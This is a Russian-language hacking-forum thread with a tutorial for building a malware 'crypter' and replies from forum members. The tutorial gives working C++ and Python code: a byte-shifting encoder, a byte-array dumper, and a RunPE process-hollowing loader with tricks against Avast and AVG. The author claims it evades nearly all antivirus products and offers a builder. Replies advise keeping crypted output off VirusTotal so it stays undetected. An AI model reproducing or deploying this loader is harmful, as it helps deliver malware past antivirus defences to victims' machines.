Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Материалы: Visual Studio Python 3.5 Python 2.7 2 руки Пару извилин Итак, начнем: А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт. (Далее - пейлоад) Создаем проект консольного C++ приложения (x86 или win32). Внутри прописываем: Код: #include <Windows.h> int main() { MessageBox(NULL, L"test", L"test", ICON_SMALL); return 0; } Компилим, тестируем, выдается окно с надписью "test". Откладываем этот проект и приступаем к части шифрования данных. (Далее - энкодер) Создаем еще один такой же проект. Далее нам нужно набросать примерный алгоритм шифрования байтов. Я сильно заморачиваться не буду и просто напишу вычитание из оригинала 0х11. Для начала узнаем размер считываемого файла: Код: FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file); Далее считываем байты в массив и шифруем их: Код: file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in = in - 0x11; } Выплевываем зашифрованный файл: Код: file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); И сразу дешифруем его таким же методом чтоб убедиться, что он остается рабочим: Код: for (int i = 0; i < size; i++) { in = in + 0x11; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); Компилируем проект, пропускаем пейлоад через энкодер и видим на выходе 2 файла: out.exe и decr.exe. Пробуем запустить decr.exe - если вылезает окошко "test", значит все хорошо. Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в криптор. Для этого пишем простенький скрипт на Python 2.7 и прогоняем через него наш файл out.exe: Код: import os, binascii target = "out.exe" output_file = "file.txt" bytes_per_line = 16 try: count = 0; index = 0; output = "unsigned char rawData[] = {\n\t" with open(target, "rb") as f: hexdata = binascii.hexlify(f.read()) hexlist = map(''.join, zip(*[iter(hexdata)]*2)) for hex in hexlist: if count >= bytes_per_line: output += "\n\t" count = 0; output += "0x" + str(hexlist[index]).upper() + "," count += 1; index += 1; output += "\n};\n" out = open(output_file, "w") out.write(output) out.close() except: pass Создался файл file.txt, сохраняем его и приступаем к следующему шагу. Теперь самая важная часть криптора - собственно, сам криптор. Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main(). Сразу прописываем хедеры к этому файлу: Код: #include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") И функцию RunPE: Код: int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } } Далее в методе main() нам необходимо расшифровать массив байт и запустить его, перезаписав память собственного процесса: Код: for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); //Код для заглота Avast & AVG for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData + 0x11; rawData = b; } Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка RunPortableExecutable(rawData); delete[] rawData; Иии, собственно все, криптор готов. Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов. Таким методом обходится не только Scantime, но и Runtime. Это я протестировал лично на своем . Как результат - полный обход всех популярных антивирусов, кроме Avira. Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x Runtime - https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6 Полностью автоматизированный билдер с рандомной генерацией числа, отнимаемого от оригинала + сорцы - Скрытый контент. Для просмотра информации необходимо 90 репутации. Нажмите, чтобы раскрыть...
Ты так все файлы сливаешь на VT? Получил личный, буду тестировать, через пару дней отпишусь. Есть уже один детект, судя по вышеуказанному VT. Реально полезная информация, посмотрим сколько проживет.
Отличная тема. Никогда не читал про крипторы, оказалось все просто. Только непонятно, почему крипторы стоят так дорого и чем отличаются (и как софт, и как услуга, стоит не мало)? Если подумать, сдвиг тут любой подойдет и антивирусы не будут чекать, самое слабое место, это процесс записи в собственный процесс, а тут особо не разгуляешься.
НЕ ВСЕ. Снова началось... Уже этот вопрос тут обсуждали (с одним "умником", все потерли модераторы.) Не будем провоцировать срач, ОК? Уже проходили. Можешь в л/с писать, а не здесь задавать бессмысленные вопросы. Посмотри мою тему про Evil Droid, к примеру, там я писал, что на VT нельзя сливать, но я имел ввиду не Evil Droid, а результата его работы... Из-за того, что я этот АРХИВ (прошу заметить, НЕ РЕЗУЛЬТАТ РАБОТЫ КРИПТОРА, залил на VT ничего страшного не произойдет). Сейчас еще раз проверил, детект только от Baidu Win32.Trojan.WisdomEyes.16070401.9500.9692. И я ОЧЕНЬ СОМНЕВАЮСЬ, что он появился из-за меня. Можешь погуглить про WisdomEyes и Baidu.
Без проблем, все грамотно объяснил. Но я уверен, будут люди, которые после твоего вышеуказанного поста начнут сливать файлы на VT. Аргументируя это тем, что: "Вот тот парень с репой сливал и ничего".
Ну да, тут нужна оговорка. НЕЛЬЗЯ ТЕСТИТЬ РЕЗУЛЬТАТЫ РАБОТЫ КРИПТОРА. Да и сам криптор без архива желатльно на VM проверять. Небезызвестный Evil Droid так и слили. Скрипту пофиг, а результаты работы через несколько дней стали детектироваться. А так как эффективная обфускация/крипт apk дело не легкое... Про apk https://damagelab.in/index.php?topic=25892.0
Я выложил лишь принцип, реализация везде самая разная. Вплоть до считывания байтов пейлоада с картинки. Также, сдвиги тоже сделаны для примера, в основном юзают вместо этого XOR, AES и тому подобное. И RunPE не единственный способ запуска приложения в памяти, вот шикарная статья про 10 способов инжекта в процесс - https://www.endgame.com/blog/techni...-technical-survey-common-and-trending-process
"Откладываем этот проект и приступаем к части шифрования данных. (Далее - энкодер)" Вот это не понятно! Первый проект создал,работает.Отложил,создал второй проект,а вот тут и ступор. (Далее - энкодер) вот те коды что с ними куда вписывать?
У тебя их два вообще) Весь исполняемый код прописывается в главной функции main, т.е. вызовы других ф-й и прочее